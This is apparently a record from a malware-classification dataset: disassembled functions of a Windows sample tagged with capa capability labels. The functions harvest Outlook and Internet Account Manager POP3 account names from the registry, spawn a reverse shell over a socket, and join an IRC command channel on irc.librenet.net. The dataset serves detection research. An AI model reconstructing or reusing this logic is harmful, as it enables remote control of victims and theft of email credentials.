joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ae0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x88
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push esi
push 0x41640c
push str.SoftwareMicrosoftOfficeOutlookOMI_Account_ManagerAccounts
mov dword [esp + 0x14], ecx
push 0x80000001
mov dword [esp + 0x14], 0x80
call ebp
test eax, eax
mov dword [0x416408], eax
jne 0x406c8d
mov eax, dword [0x416410]
push edi
xor edi, edi
test eax, eax
jne 0x406c7f
mov eax, dword [esp + 0xc]
mov edx, dword [0x41640c]
lea ecx, [esp + 0x14]
push eax
push ecx
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
mov dword [0x416410], eax
jne 0x406c2f
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftOfficeOutlookOMI_Account_ManagerAccounts_s
push 0x416388
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x41640c
push 0x416388
push 0x80000001
call ebp
test eax, eax
mov dword [0x416408], eax
jne 0x406c22
mov eax, dword [0x416410]
xor edi, edi
test eax, eax
jne 0x406c15
mov eax, dword [0x41640c]
push 0
push 0
push 0
lea ecx, [esp + 0x18]
push 0
lea edx, [esp + 0x24]
push ecx
push edx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
mov dword [0x416410], eax
jne 0x406bfb
mov esi, str.POP3_User_Name
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406be7
test cl, cl
je 0x406be3
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406be7
add eax, 2
add esi, 2
test cl, cl
jne 0x406bc3
xor eax, eax
jmp 0x406bec
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406c07
mov dword [esp + 0xc], 0x80
inc edi
jmp 0x406b92
mov dword [0x416410], 0
jmp 0x406c15
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
call fcn.00406ea0
mov ecx, dword [0x41640c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x41640c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, str.POP3_User_Name
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406c5c
test cl, cl
je 0x406c58
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406c5c
add eax, 2
add esi, 2
test cl, cl
jne 0x406c38
xor eax, eax
jmp 0x406c61
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406c7f
mov eax, dword [0x41640c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x416410]
inc edi
test eax, eax
je 0x406b28
mov ecx, dword [0x41640c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esi, str.POP3_User_Name
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406cba
test cl, cl
je 0x406cb6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406cba
add eax, 2
add esi, 2
test cl, cl
jne 0x406c96
xor eax, eax
jmp 0x406cbf
sbb eax, eax
sbb eax, 0xffffffff
pop esi
pop ebp
test eax, eax
je 0x406cce
mov ecx, dword [esp + 4]
call fcn.00406ce0
add esp, 0x88
ret
Function at 0x406ce0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x88
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x41640c
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
mov dword [esp + 0x10], ecx
push 0x80000001
mov dword [esp + 0x10], 0x80
call ebp
test eax, eax
mov dword [0x416408], eax
jne 0x406e98
mov eax, dword [0x416418]
push esi
push edi
xor edi, edi
test eax, eax
jne 0x406e89
mov eax, dword [esp + 0xc]
mov edx, dword [0x41640c]
lea ecx, [esp + 0x14]
push eax
push ecx
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
mov dword [0x416418], eax
jne 0x406e39
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts_s
push 0x416388
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x41640c
push 0x416388
push 0x80000001
call ebp
test eax, eax
mov dword [0x416408], eax
jne 0x406e2c
mov eax, dword [0x416418]
xor edi, edi
test eax, eax
jne 0x406e1f
mov eax, dword [0x41640c]
push 0
push 0
push 0
lea ecx, [esp + 0x18]
push 0
lea edx, [esp + 0x24]
push ecx
push edx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
mov dword [0x416418], eax
jne 0x406dfb
mov esi, str.POP3_User_Name
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406de7
test cl, cl
je 0x406de3
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406de7
add eax, 2
add esi, 2
test cl, cl
jne 0x406dc3
xor eax, eax
jmp 0x406dec
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406e11
mov dword [esp + 0xc], 0x80
inc edi
jmp 0x406d92
mov dword [0x416414], str.Tamara_Blezynsky
mov dword [0x416418], 0
jmp 0x406e1f
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
call fcn.00406ea0
mov ecx, dword [0x41640c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x41640c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, str.POP3_User_Name
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406e66
test cl, cl
je 0x406e62
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406e66
add eax, 2
add esi, 2
test cl, cl
jne 0x406e42
xor eax, eax
jmp 0x406e6b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406e89
mov eax, dword [0x41640c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x416418]
inc edi
test eax, eax
je 0x406d28
mov ecx, dword [0x41640c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
add esp, 0x88
ret
Function at 0x406ea0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x88
lea eax, [esp]
push esi
push eax
push 0x416388
push 0x80000001
mov dword [esp + 0x14], 0x80
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x406f04
mov eax, dword [esp + 0x90]
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 8]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406efd
lea edx, [esp + 0xc]
mov dword [0x416414], edx
mov eax, dword [esp + 4]
push eax
call esi
mov ecx, dword [esp + 4]
push ecx
call esi
pop esi
add esp, 0x88
ret 4

Function at 0x406f20
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
sub esp, 0x1a0
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov esi, ecx
push 0x102
call sub.WS2_32.dll_WSAStartup
mov ecx, dword [esp + 0x1b4]
push 1
push 3
push 2
mov dword [esi + 4], ecx
call sub.WS2_32.dll_socket
mov edx, dword [esp + 0x1b0]
mov edi, eax
push edx
call sub.WS2_32.dll_inet_addr
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
push eax
push edi
mov ecx, esi
mov word [esp + 0x10], 2
mov word [esp + 0x12], 0
call fcn.00406fc0
push edi
mov ecx, esi
call fcn.00407050
cmp eax, 0xffffffff
jne 0x406fab
mov dword [esi], 0
mov dword [esi], 1
push edi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
pop edi
pop esi
add esp, 0x1a0
ret 0xc
test eax, eax
jne 0x406f8f
mov dword [esi], eax
jmp 0x406f95

Function at 0x406fc0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [0x40bea8]
push esi
mov word [0x41ae6c], ax
inc eax
mov dword [0x40bea8], eax
mov eax, dword [0x40beac]
mov word [0x41ae6e], ax
inc eax
mov dword [0x40beac], eax
mov esi, ecx
mov byte [0x41ae68], 8
mov byte [0x41ae69], 0
mov word [0x41ae6a], 0
xor eax, eax
mov cl, al
add cl, 0x20
mov byte [eax + 0x41ae75], cl
inc eax
cmp eax, 0x20
jl 0x406ffe
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x2d
push 0x41ae68
mov ecx, esi
mov dword [0x41ae71], eax
call fcn.004070a0
mov edx, dword [esp + 0xc]
push 0x10
push edx
mov word [0x41ae6a], ax
mov eax, dword [esp + 0x10]
push 0
push 0x2d
push 0x41ae68
push eax
call sub.WS2_32.dll_sendto
pop esi
ret 8

Function at 0x407050
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x110]
lea edx, [esp]
mov dword [esp + 0xc], ecx
push edx
push 0
lea ecx, [esp + 0x10]
mov eax, 1
push 0
push ecx
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call sub.WS2_32.dll_select
add esp, 0x10c
ret 4
Function at 0x407af0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
mov eax, dword [esp + 4]
push eax
push 0x40b0d0
push 0x41ae9c
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov dword [0x41ae98], eax
push 0x41aee0
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [0x41b0c8], eax
jmp 0x407b50
mov cx, word [0x41ae98]
xor eax, eax
mov dword [0x41b0d0], eax
push ecx
mov dword [0x41b0d4], eax
mov dword [0x41b0c4], 0x10
mov dword [0x41b0d8], eax
mov word [0x41b0d0], 2
mov dword [0x41b0dc], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x41ae9c
mov word [0x41b0d2], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edx, dword [0x41b0c8]
push 0x10
push 0x41b0d0
push edx
mov dword [0x41b0d4], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jl 0x407bba
jmp 0x407bc0
ret
sub esp, 0x10c
mov ax, word [0x40c258]
mov cx, word [0x40c254]
mov dx, word [0x40c250]
mov word [esp + 8], ax
mov ax, word [0x40b72c]
mov word [esp + 4], cx
mov cx, word [0x40c24c]
mov word [esp + 2], dx
mov dx, word [str.xedmc]
mov word [esp + 6], ax
mov word [esp], cx
lea eax, [esp]
mov word [esp + 0xa], dx
lea ecx, [esp + 0xa]
push eax
lea edx, [esp + 4]
push ecx
lea eax, [esp + 0xe]
push edx
lea ecx, [esp + 0xe]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
lea ecx, [esp + 0x28]
push str._s_s_s_s_s_s_s
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
push 0x41b080
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [0x41b0c8]
push 0x41b070
push 0x41b080
push 0
push 0
push 0
push 1
push 0
lea edx, [esp + 0x28]
push 0
push edx
push 0
mov dword [0x41b0ac], 0x101
mov word [0x41b0b0], 0
mov dword [0x41b0c0], eax
mov dword [0x41b0bc], eax
mov dword [0x41b0b8], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [0x41b0c8]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
add esp, 0x10c
ret
Function at 0x407cb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Get hostname
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x110]
push ebx
push ebp
push esi
push edi
push eax
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 0x20]
push 0x40
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x20]
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
lea edx, [esp + 0x6c]
push str.USER_1_s______2_s___:3_s___n
push edx
call esi
push str.d3st1n1ty_1_n
push 0x41d6ec
call esi
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xfc]
push eax
push str.NICK___s_abc_n
push ecx
call esi
lea edx, [esp + 0xc8]
push str.JOIN_nyubi_n
push edx
call esi
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x30
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push str.irc.librenet.net
mov dword [0x41d72c], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x407e94
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
lea edi, [esp + 0x14]
push 0x1a0b
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x41d72c]
lea ecx, [esp + 0x10]
push 0x10
push ecx
push edx
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jl 0x407d39
lea edi, [esp + 0x60]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x64]
push ecx
mov ecx, dword [0x41d72c]
push eax
push ecx
mov dword [0x421930], 1
call ebx
lea edi, [esp + 0xe0]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [0x41d72c]
lea edx, [esp + 0xe4]
not ecx
dec ecx
push ecx
push edx
push eax
call ebx
push 0
push 0xffff
push 0x4079d0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
push 0x3e8
call ebp
lea edi, [esp + 0xa0]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x41d72c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp + 0xa8]
push ecx
push edx
call ebx
mov eax, dword [0x421930]
test eax, eax
je 0x407e82
push 0x30d40
call ebp
push 0x40c25c
push 0x41d0e8
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x41d0e8
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
mov eax, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
push 0x41d0e8
push eax
call ebx
mov eax, dword [0x421930]
test eax, eax
jne 0x407e40
mov ecx, dword [0x41d72c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407d39
mov edx, dword [0x41d72c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407d39
Function at 0x402c70
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0
push 0x20
push 3
push 0
push 3
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402c98
pop edi
or eax, eax
pop esi
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x10], 0xffffffff
jne 0x402cba
pop edi
or eax, 0xffffffff
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x402cc0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x402d29
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.00402580
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret

Function at 0x402d60
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x402df2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x402de4
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x402ddc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x402da5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
Function at 0x402e00
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x402e41.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x402e41.2
jmp dword [eax*4 + 0x402ecc]
mov word [esp + 0x48], di
jmp 0x402e7a
mov word [esp + 0x48], 2
jmp 0x402e7a
mov word [esp + 0x48], 3
jmp 0x402e7a
mov word [esp + 0x48], 4
jmp 0x402e7a
mov word [esp + 0x48], 7
jmp 0x402e7a
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x402ec4
cmp dword [esp + 0x70], edi
je 0x402eb0
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret
Function at 0x403170
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x144
push ebx
mov ebx, dword [esp + 0x14c]
push ebp
mov ebp, dword [esp + 0x15c]
push esi
push edi
mov esi, dword [ebp]
mov dword [esp + 0x10], 0
test ebx, ebx
je 0x4031fb
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4031fb
test esi, esi
je 0x4031b5
cmp esi, 0xffffffff
je 0x4031b5
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp], esi
je 0x403241
mov eax, dword [esp + 0x160]
test eax, eax
je 0x4031e4
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
je 0x4031fb
jmp 0x4031f3
mov edx, dword [esp + 0x15c]
mov eax, dword [esp + 0x14]
test edx, eax
je 0x4031fb
mov dword [esp + 0x10], 1
test esi, esi
je 0x403241
cmp esi, 0xffffffff
je 0x403241
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x403278
mov eax, dword [esp + 0x160]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
lea eax, [esp + 0x14]
push eax
push esi
je 0x40324e
call edi
test eax, eax
je 0x403241
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
jne 0x403278
lea edx, [esp + 0x14]
push edx
push esi
call edi
test eax, eax
jne 0x403229
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x144
ret
call edi
test eax, eax
je 0x403241
mov ebx, dword [esp + 0x15c]
test dword [esp + 0x14], ebx
jne 0x403278
lea ecx, [esp + 0x14]
push ecx
push esi
call edi
test eax, eax
jne 0x40325b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.00402580
mov edx, eax
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret

Function at 0x4032e0
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.00402580
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x403337
push ebx
push edi
call fcn.00402610
push esi
mov ebx, esi
call fcn.00402580
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x40330e
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x403340
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x400
call fcn.004179f3
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x40]
mov ecx, dword [esp + 0x28]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push 0x400
push esi
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, 0x3ff
jl 0x4033aa
push esi
lea edi, [eax + 0x400]
call fcn.00417a1c
push edi
call fcn.004179f3
mov edx, dword [esp + 0x38]
add esp, 8
mov esi, eax
mov eax, dword [esp + 0x24]
push ebx
push edi
push esi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
dec edi
cmp eax, edi
jge 0x40337a
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4033c6
push ecx
push esi
call fcn.00403e70
add esp, 8
mov ebx, eax
push esi
call fcn.00417a1c
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4034c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x4034d3
xor eax, eax
pop esi
add esp, 8
ret
push esi
call fcn.00403fd0
add esp, 4
test eax, eax
jne 0x4034e5
pop esi
add esp, 8
ret
mov eax, dword [esi]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push edi
mov dword [esp + 0x10], 0
jne 0x40355c
mov eax, dword [esp + 0x1c]
mov edi, dword [esi + 4]
cmp eax, ebx
mov dword [esp + 0x10], ebx
jle 0x40358e
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x403548
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x403518
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
pop edi
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
pop ebp
pop ebx
pop esi
add esp, 8
ret
cmp eax, 2
jne 0x40358e
mov eax, dword [esp + 0x1c]
mov esi, dword [esi + 4]
cmp eax, ebx
mov dword [esp + 0x10], ebx
jle 0x40358e
lea edi, [esp + 0x2c]
lea ebx, [eax - 1]
mov eax, dword [edi]
mov edx, dword [esi]
mov ecx, dword [eax + 4]
add eax, 8
push ecx
push eax
mov ecx, esi
call dword [edx + 0x24]
add edi, 0xc
dec ebx
jne 0x403577
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret

Function at 0x407dd0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x407e36
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x407e36
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x407e17
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x4081c0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4081f8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x408f30
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x408f79
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4093f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x41e210
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00408fa0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00409020
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00409020
lea ecx, [esi + 0xc]
call fcn.00417c3d
lea ecx, [esi + 0x10]
call fcn.00417c3d
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0040a5b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0040a5b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0040a5b0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00417cb2
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00417cb2
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret